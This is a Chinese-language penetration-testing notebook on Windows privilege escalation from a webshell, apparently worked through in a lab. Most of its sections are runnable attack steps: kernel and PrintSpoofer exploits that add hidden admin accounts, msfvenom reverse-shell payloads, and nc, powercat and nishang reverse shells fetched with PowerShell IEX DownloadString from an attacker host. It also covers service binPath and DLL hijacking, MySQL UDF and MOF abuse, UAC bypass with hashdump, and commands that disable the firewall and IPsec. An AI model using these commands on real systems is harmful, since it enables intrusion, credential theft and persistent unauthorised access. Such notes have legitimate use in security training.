windows提权
windows基础知识
一些windows指令在15-1中具体写了
用户和组
在windows不用的用户有着不同的权限,权限主要包括有:完全控制、修改、读取和执行、列出文件夹内容、读取、写入。
超级管理员和system用户权限最高
内置用户:
- Administrator,系统管理员账号,拥有完全控制权
- guest,来宾账号,提供访问共享资源的网络用户使用,仅具有基本权限,默认被禁用
用户也可以属于多个用户组,常见的用户组是 管理组(Administrators)、普通用户组(Users)、iis用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)
内置用户组:
- administrators,管理员组
- users组,新建用户默认所属的组
- guests组,权限最低
- iis_users组 Internet 信息服务使用的内置组。
用户信息的详细解析:
whoami指令
whoami /?
输入whoami /?会出现以下信息
WhoAmI 有三种使用方法:
语法 1:
WHOAMI [/UPN | /FQDN | /LOGONID]
语法 2:
WHOAMI { [/USER] [/GROUPS] [/CLAIMS] [/PRIV] } [/FO format] [/NH]
语法 3:
WHOAMI /ALL [/FO format] [/NH]
描述:
这个工具可以用来获取本地系统上当前用户(访问令牌)的用户名和组信息,
以及相应的安全标识符(SID)、声明、
本地系统上当前用户的权限、登录标识符(登录 ID)
。例如,谁是当前已登录的用户?
用户名。
参数列表:
/UPN 用用户主体 (User Principal) 格式显示用户名
名称 (UPN)格式。
/FQDN 用完全合格的 (Fully Qualified) 格式显示用户名
可分辨名称(FQDN) 格式。
/USER 显示当前用户的信息以及安全标识符 (SID)。
/GROUPS 显示当前用户的组成员信息、帐户类型和安全
标识符 (SID) 和属性。
/CLAIMS 显示当前用户的声明,
包括声明名称、标志、类型和值。
/PRIV 显示当前用户的安全特权
。
/LOGONID 显示当前用户的登录 ID。
/ALL 显示当前用户名、所属的组
以及安全等级
当前用户访问令牌的标识符(SID)、
声明和权限。
/FO format 指定要显示的输出格式。
有效值为 TABLE、LIST、CSV。
列标题未使用 CSV
格式显示。默认格式为 TABLE。
/NH 指定不应在输出中显示
列标题。此参数仅对
TABLE 和 CSV 格式有效。
/? 显示此帮助消息。
Examples:
WHOAMI
WHOAMI /UPN
WHOAMI /FQDN
WHOAMI /LOGONID
WHOAMI /USER
WHOAMI /USER /FO LIST
WHOAMI /USER /FO CSV
WHOAMI /GROUPS
WHOAMI /GROUPS /FO CSV /NH
WHOAMI /CLAIMS
WHOAMI /CLAIMS /FO LIST
WHOAMI /PRIV
WHOAMI /PRIV /FO TABLE
WHOAMI /USER /GROUPS
WHOAMI /USER /GROUPS /CLAIMS /PRIV
WHOAMI /ALL
WHOAMI /ALL /FO LIST
WHOAMI /ALL /FO CSV /NH
WHOAMI /?
windows的sid详解
windows的安全性主要依赖于几个基本元素:访问令牌、SID、安全描述符、访问控制表、密码。
访问令牌:访问令牌在本质上定义了两 上“P”:Permissions(权限)和Privilege(特权)。两者区别并不明显。访问令牌的内容和功能由用户的SID、组的SID、登录 SID、用户特权、默认所有者、SID、默认组SID、默认DACL、起源进程、令牌类型、模拟级别、受限SID。
权限:一个用户进程在接触一个对象时,“安全性参考监视器”将访问令牌中的SID与“对象访问控制列表(ACL)”中的SID匹配。可能出现的两种情况:
- 如果没有匹配,就拒绝用户访问,这称为“隐式拒绝(implici deny)”;
- 如果有一个区配,就将与ACK中的条目关联的权限授予给用户。
这可能是Allow,也可能是一个Deny权限。在两个权限都直接指派给对象的前提下,Deny权限将优先于Allow权限(在对待继承的权限时,采取的方式稍有不同)
SID:一个典型的SID:S-1-5-21-1683771068-12213551888-624655398-1001。它遵循的模式是:S-R-IA-SA-SA-RID。下面是具体解释:
字母S指明这是一个SID标识符,它将数字标记为一个SID。
R代表Revision(修订),Windows生成的所有SID都使用修订级别 1。
IA代表颁发机构。在Widnwos中,几乎所有SID都指定NT机构作为颁发机构,它的ID编号为5.但是,代表已知组和账户的SID例外。
SA代表一个子机构。SA指定特殊的组或职能。
例如、21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字(1683771068-12213551888-624655398)就是颁发SID的那个域或机器的SA。
- RID是指相对ID(RID)、是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)
漏洞提权
提权是指把普通用户的权限进行提升,通过是各种漏洞提升webshell权限以夺得服务器权限。
webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限。
webshell的默认权限
从图中可以看到webshell的权限是iis_users组
提权常用方法
- 漏洞提权
- windwos特性提权
- 第三方组件提权
- 数据库提权
- ftp提权
提权常用命令
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True
get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
windows提权辅助脚本
检测系统补丁脚本 https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁 https://github.com/chroblert/WindowsVulnScan
windows 内核提权exp https://github.com/SecWiki/windows-kernel-exploits
在线提权利用查询 https://lolbas-project.github.io/
windows提权流程
能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限
执行命令的时候 aspx->php和asp
如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令,这个时候可以使用aspx的后门查看是否有权限执行cmd命令
补丁查询
hacking8在线查询补丁
systeminfo > c:\1.txt
wesng查询补丁
https://github.com/bitsadmin/wesng
python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁
WindowsVulnScan 查询补丁
https://github.com/chroblert/WindowsVulnScan
原理:
搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
查找特定CVE网上是否有公开的EXP
利用powershell脚本收集主机的一些系统版本与KB信息
利用系统版本与KB信息搜寻主机上具有存在公开EXP的
使用:
1.首先运行powershell脚本 KBCollect.ps 收集一些信息 运行后在目录下生成kb.json
.\KBCollect.ps1
Set-ExecutionPolicy -Scope CurrentUser remotesigned
打开cmd,运行powershell,将工具中的KBCollect.ps1 拖入发现报错,我们找到方法bypass掉,用上面第二行的命令,之后再次运行KBCollect.ps1 就成功了,我们在当前用户下看到生成了json文件
2.将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录
3.打开kali,监听80端口,将修改后的脚本放到桌面,访问kali ip
说明此脚本可以访问
4.在asp中执行命令,执行完成后会在目录生成文件
Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/KBCollect.ps1 ')
看到生成了kb.json
将此文件放入工具中
5.运行工具
python cve-check.py -C -f KB.json
查询可写目录或文件
在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的目录进行写入和读取
这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录 上传或下载 提 权exp 或替换文件 进行利用。
常见的脚本有
- wt.asp
- net版本的wt.aspx
wt.asp,红色表示文件可替换 蓝色表示目录可写
wt.aspx,因为net的权限比 asp大,而且能访问注册表,所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描。
windows常用提权
通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。
CVE-2016-3225(MS16-075)提权
描述
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。
成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。
注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户
影响版本
- Windows Vista
- Windows Server 2008
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows 7
- Windows 8.1
- Windows RT 8.1
- Windows 10
复现
利用文件
GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019
下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录
我们这里使用PrintSpoofer64.exe
查询后发现 C:\Windows\debug\WIA\ 目录是可执行的,上传文件到此目录下
记录下文件路径 C:\Windows\debug\WIA\PrintSpoofer64.exe
执行完后,权限为系统权限
如果不在此目录下,为iis组权限
在cmdshell中提权,-h可查看使用帮助
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user xiaoshaK 123456 /add "
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net localgroup administrators xiaoshaK /add"
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "net user xiaoshaK"
可以看到在管理员组里了
增加进管理员组后我们就可以连接他的3389
/c C:\Windows\debug\WIA\PrintSpoofer64.exe -i -c "netstat -ano"
可以看到3389是开放的,可以使用mstsc连接创建的用户
CVE-2014-4113 (MS14-058)提权
描述
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
影响版本
影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。
复现
上传编译好的exp到webshell提权
可以看到cmd可执行
如果此命令不可执行可以在可执行目录下上传cmd
如果上传出错显示 缺少对象,那是因为服务器上传的文件大小超出了,此时我们选在webshell后门下的远程下载功能,下载远程cmd到本地可执行目录
上传编译好的exp,执行即可获取系统权限
C:\Windows\debug\WIA\
C:\Windows\debug\WIA\win64.exe "whoami"
创建管理员用户同上操作
CVE-2020-0787 提权
描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。
要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
影响版本
- Windows RT 8.1
- Windows 7
- Windows 10
- Windows 10 Version 1607
- Windows 10 Version 1709
- Windows 10 Version 1803
- Windows 10 Version 1809
- Windows Server 2008
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server, version 1903
- Windows Server, version 1909
复现
此提权不能使用webshell提权,需要登录到系统
net user xiaoshaK 123456 /add
建立普通用户,切换用户
查看权限
下载Releases · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub提权exp,上传到系统
c:\windows\debug\WIA\BitsArbitraryFileMoveExploit.exe
执行,之后弹出cmd,再次查看权限
看到是系统权限了
使用meta split提权
描述
kali自带开源漏洞检测工具,msfconsole开启工具
msf命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
复现
1.在kali上生成反向连接的后门。ip为kali的ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f exe >s.exe
在桌面上生成s.exe
2.将生成的反向连接后门上传到靶机的可执行文件夹下。
C:\ProgramData\s.exe
3.开启msf,使用监听模块监听ip端口。
ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0,允许任何主机连接入来,但是存在风险。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.0.195
set lport 12345
exploit
4.在webshell执行exe。执行后会获取一个session
执行后得到了meterpreter
help可查看帮助文档
getuid查看权限,发现权限较低
查询补丁
run post/windows/gather/enum_patches
background
将session1放到后台
sessions 1
即可再次进入
5.进行提权
可用常规的exp测试,看能否成功提权
常见的提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
或者列出可用的exp模块
use post/multi/recon/local_exploit_suggester
set session 1
exploit
我们这里使用exploit/windows/local/ms16_075_reflection_juicy模块
查看参数
这里设置session 为1 运行即可
运行后查看权限发现是一个系统权限了
6.权限维持
ps查看进程
migrate迁移
交互shell和非交互shell
交互shell
交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。
需要进行信息交互,例如输入某个信息,会返回信息,你需要对其输入内容,输入会执行命令。
cmd 终端、msf反弹后门shell、nc反弹shell,这些都属于交互shell
非交互shell
非交互式shell以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
反弹shell提权
反弹shell提权是使用工具或者脚本,从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透防火墙。
防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以逃逸很多的防火墙。
另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限制,可以从受害者的服务器上下载,更多的资料。
nc反弹shell
在kali监听666
nc -lvnp 666
上传nc.exe到靶机可执行文件夹下
主动连接,在kali上即可得到一个交互式shell
/c C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.80.134 666
powershell反弹cmd
这里使用powercat,是netcat的powershell版本
kali上把powecat解压
监听
nc -lvnp 777
/*目标执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorh ino/powercat/master/powercat.ps1'); powercat -c 192.168.80.134 -p 777 -e cmd
github得搭梯子访问,这里我们也可以在kali上搭一个web服务器,让他从服务器上下载也行
*/
在kali上的powercat文件夹处开放一个web服务器
sudo python -m SimpleHTTPServer 80
在webshell执行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.80.134/powercat.ps1'); powercat -c 192.168.80.134 -p 777 -e cmd
执行后即可得到一个交互式shell
nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell
Reverse TCP shell
开启监听
nc -lvnp 888
目标执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke- PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.134 -port 888
或者在服务器搭建下载
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.134 -port 888
执行后得到交互shell
Reverse UDP shell
开启监听
nc -lvup 999
目标执行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.80.134 -port 999
执行后得到交互式shell
python反弹cmd shell
使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可
如果遇到杀软或目标机不支持python,可使用生成的exe版本。
kali监听999端口
将脚本放到靶机下,用python执行
得到了交互式shell
所以此方法可行
接下来我们尝试在webshell上传exe执行弹shell
上传到可执行文件夹下
C:\ProgramData\
执行此命令将py文件生成为exe
pyinstaller -Fw pycat.py
但是在asp、aspx上传时由于exe太大无法上传
我们将exe放到kali上,让asp下载进去
目标执行
C:\ProgramData\pycat.exe --host 192.168.80.134 --port 999
得到了交互式shell
windows系统配置错误提权
系统服务权限配置错误
描述
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
复现
PrivescCheck加载脚本并执行,列出可能存在问题的所有服务
将脚本放在kali,在文件夹内启动http服务
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/PrivescCheck.ps1'); Invoke-PrivescCheck"
看到列出了一些服务
其中我们发现
NT AUTHORITY\Authenticated Users 普通用户也能设置文件
所以我们可以对UsoSvc服务进行修改
我们将msf的反向连接后门放入
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=666 -f exe >666.exe
C:\ProgramData\666.exe
sc query UsoSvc
sc stop UsoSvc
sc config usosvc binPath= "C:\ProgramData\666.exe" 注意=号后有空格
sc start UsoSvc
首先查询此服务为running状态,stop后停止。
此时修改服务路径为刚才的后门路径
打开msf监听
set payload windows/meterpreter/reverse_tcp
之后在启动修改后的服务,即可得到session
权限也为系统权限
但是session会自动退出我们需要坐下进程迁移
show advanced 显示高级权限
set AutoRunScript migrate -f 自动迁移进程
run
run后在启动服务,会自动迁移进程,就会稳定得多
或者
也可使用Metasploit中的攻击模块 exploit/windows/local/service_permissions
开启监听监听模块
我们运行刚才的后门,返回一个session
getuid发现权限比较低,是iis权限
我们运行此攻击模块,set session为此session号,run即可
运行后他会自动替换并执行
看到拿到了另一个session
getuid后权限为系统权限
不带引号的服务路径提权
描述
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
如下
没有双引号时候windows会把空格前面当作exe执行
复现
我们使用PrivescCheck此脚本会遍历出带有空格的文件
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.134/PrivescCheck.ps1'); Invoke-PrivescCheck"
或者使用命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
看见存在空格且路径是可写的,可能就存在空格
如果C盘可写上传反弹后门到C:\Program.exe即可
系统在重启 获取管理员重启该服务的时候就会获取系统权限
set AutoRunScript migrate -f
同时设置自动迁移进程,防止断开
注册键AlwaysInstallElevated
描述
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。
windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。
windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能
复现
运行gpedit.msc,如下操作
使用PowerUp检测注册表是否有设置,如果返回true证明可以利用
PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.80.134/PowerUp.ps1'); Get-RegAlwaysInstallElevated
但是iis_user用户权限较低,返回false
以use用户权限运行返回true
上传 COMahawk64.exe并执行可返回一个账号密码
C:\ProgramData\COMahawk64.exe
可以看到账号在管理员组里面
本地dll劫持提权
原理
Windows程序启动的时候需要DLL。如果DLL 不存在,可以通过在应用程序要查找的位置放置恶意DLL来提权。
通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
- 应用程序加载的目录
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- 当前工作目录Current Working Directory,CWD
- 在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载。
复现
程序运行一般会加载系统dll或本身程序自带的dll,我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
收集进程加载的dll->制作dll木马并上传->替换dll->启动应用后成功
收集进程加载的dll
使用火绒剑分析进程执行时加载了那些dll
一般情况系统文件系统文件无法更改,我们目标在位置文件或数字签名文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f dll > libcurl_x86.dll
将生成的dll替换原本路径下的dll
打开msf监听,注意设置payload
自动安装配置文件提权
描述
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
复现
我们可搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
或者使用msf 的post/windows/gather/enum_unattend模块对配置文件扫描
第三方组件提权
做提权时,如果发现webshell的cmd无法执行命令,并且没有任何可上传目录,我们可以看看目标有无一些第三方服务
利用portscan
sqlserver提权
描述
如果网站里面使用的数据库是sqlserver,那么如果找到sa的密码,利用提权脚本,执行命令。
但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置,一般情况是system权限或者pulic,均能执行命令
敏感文件
web.config
config.asp
conn.aspx
database.aspx
复现
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启cmd
开启之后,看是否可以执行命令
查看权限,可以看到权限比较低,是一个数据库权限
数据库权限的话,增加账号应该是不够的
可以上传溢出工具来提高权限
mysql提权
描述
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数。
对于自定义的函数,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为dll,c语言编写。
mysql提权难点
版本有32 和64位的mysql。创建函数的方法一样,但是64版本的要用64的udf.dll
The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
这种是mysql默认设置是不允许导入导出,需要在my.ini添加
secure-file-priv =
保存重启mysql即可
可以用以下命令查看此配置信息
SELECT @@global.secure_file_priv
Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
这种是没有权限导出或者plugin目录不存在,需要手动创建。
使用此语句可查询插件目录是否存在
show variables like "%plugin%"
复现
在网站上寻找mysql服务的账号密码
然后上传提权脚本到网站目录
登陆后导出udf
导出成功后创建udf函数
之后可以执行一些命令
超级管理员
mof提权
mof多用于权限维持
原理
mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。
作用是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
条件:
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
复现
把mof.php上传到网站目录,填写命令执行
net.exe user xiaosha$ 123456 /add && net localgroup administrators xiaosha /add
靶机看确实加到管理员组了
G6FTP 提权
描述
G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。
原理
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,无法从外部直接访问,所以需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。
netstat -ano 查看G6ftp端口
复现
可在webshell访问此目录,remote.ini存放ftp管理员的账号和密码
C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
看出是md5格式
需要使用端口转发工具将8021转发出来,将icx.exe上传并执行如下
lcx.exe -tran 2333 127.0.0.1 8021
可在靶机上查看是否被转发,看到2333外部可访问
安装g6ftp可连接服务端进行设置
可在域中新建用户,并增加命令,全选权限
net user xiaosha 123456 /add && net localgroup administrators xiaosha /add
新建之后可以ftp访问
登录进来后,我们可以尝试执行刚才设置的命令
quote stie ADD
没有执行成功,这里提权没出来,因为版本是08server
这里我们使用另一个思路,windows的系统配置错误,上传Program.exe,系统重启自动启用
ftp连接成功,登录建立的用户可访问到c盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.134 lport=12345 -f exe > 1.exe
改名Program.exe,上传,监听,重启
可上传到启动项
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
重启后
bypass uac
描述
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
比如
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,因此叫BypassUAC(不进行弹窗直接运行执行文件)
复现
把msf生成的反向链接exe放到win10,监听,执行
可以看到在进行getsystem时出错了,这是uac起了作用
可以通过search uac 搜索出uac模块
如果失败可尝试多个模块
使用bypassuac_injection模块进行bypass
exploit/windows/local/bypassuac_injection
此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()
成功bypass掉uac,但是这里hashdump仍然失败,看了下应该是x86的问题
这里需要迁移进程到x64
ps列出进程 migrate 迁移
成功 hashdump
lcx端口转发
描述
lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。
lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。
本地转发
本地转发主要是把127.0.0.1:端口 这个本地端口 转发到外部 让外部的客户端允许连接进来
我们在G6FTP使用过此方法,把本地8021转发到2333端口
远程转发
远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。
客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。
让不同端口之间形成一个回路,51->2333->3389
客户端监听
lcx -listen 51 2333
服务端执行转发
/c C:\inetpub\wwwroot\lcx.exe -slave 192.168.80.138 2333 127.0.0.1 3389
客户端然后用mstsc连接
远程终端问题
远程终端的默认端口是3389,云vps一般会开启,没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。
端口是否开启,服务是否开启,防火墙是否开启,ipsec是否开启. . .等,都影响远程终端连接。
注册表开启远程终端命令
2008 2012 2016 开启3389
1.bat
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
执行后开启3389
MSF命令开启3389
需要管理员权限
run getgui -e
一条命令开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
WMIC命令开启3389端口
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
WMIC开启 远程主机3389端口
支持系统:Win2k/XP/Win2k3
wmic /node:192.168.80.136 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.80.136 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='08serverR2-1' call SetAllowTSConnections 1
wmic /node:192.168.80.136 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意:
利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
查询是否开启3389(0为On 1为OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
注册表查询端口号
可使用webshell的REGshell
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
cmdshell查询
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP- Tcp" /v PortNumber
将16进制整数输出,即为3389
set /a Port=0xd3d
通过网络命令查询端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
1264为进程号
关闭防火墙
确定开启了远程终端并且端口没错的情况下,还是连不上目标
这个时候可以使用lcx端口转发或者使用命令关闭防火墙
查询状态
netsh advfirewall show allprofile state
关闭防火墙
netsh advfirewall set allprofiles state off
关闭防火墙
net stop "Windows Firewall"
禁用防火墙
sc config sharedaccess start= disabled
关闭防火墙
net stop sharedaccess
关闭 ipsec
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败
net stop "IPsec Policy Agent
终端连接错误方法
08远程开启3选项,win10连接,出现如下
此情况下,可使用相同版本的终端连接,用12server连接
